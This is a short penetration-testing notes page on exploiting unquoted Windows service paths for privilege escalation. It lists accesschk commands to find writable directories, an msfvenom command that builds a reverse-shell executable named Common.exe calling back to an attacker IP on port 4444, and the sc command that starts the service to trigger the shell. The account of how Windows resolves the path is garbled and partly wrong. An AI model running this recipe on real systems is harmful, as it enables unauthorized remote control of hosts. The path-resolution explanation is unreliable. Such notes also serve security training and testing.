> For the complete documentation index, see [llms.txt](https://coffeetohack.gitbook.io/coffeetohack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://coffeetohack.gitbook.io/coffeetohack/windows/unq.md).

# Unquoted Service Path

If there is space between the path and it is not enclosed in double quotes then we can exploit it. 

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Here the execution will take place like: Program.exe Files.exe Program Files Unquoted.exe Path.exe etc

```
#Check if we have permissions to start the service:
accesschk /accepteula -ucqv user unquoted

#Check for write permissions in each directory:
accesschk /accepteula -uwdq C:\
accesschk /accepteula -uwdq "C:\Program Files\"
accesschk /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

#Create a reverse shell file
msfvenom -p windows/shell_reverse_tcp LHOST=ip LPORT=4444 -f exe -o Common.exe
#We used common.exe name because there is directory Common Files and as there are no quotes, it will execute Common.exe first.
#Start the listener and start the service
sc start unquotedsvc
#You will get shell
```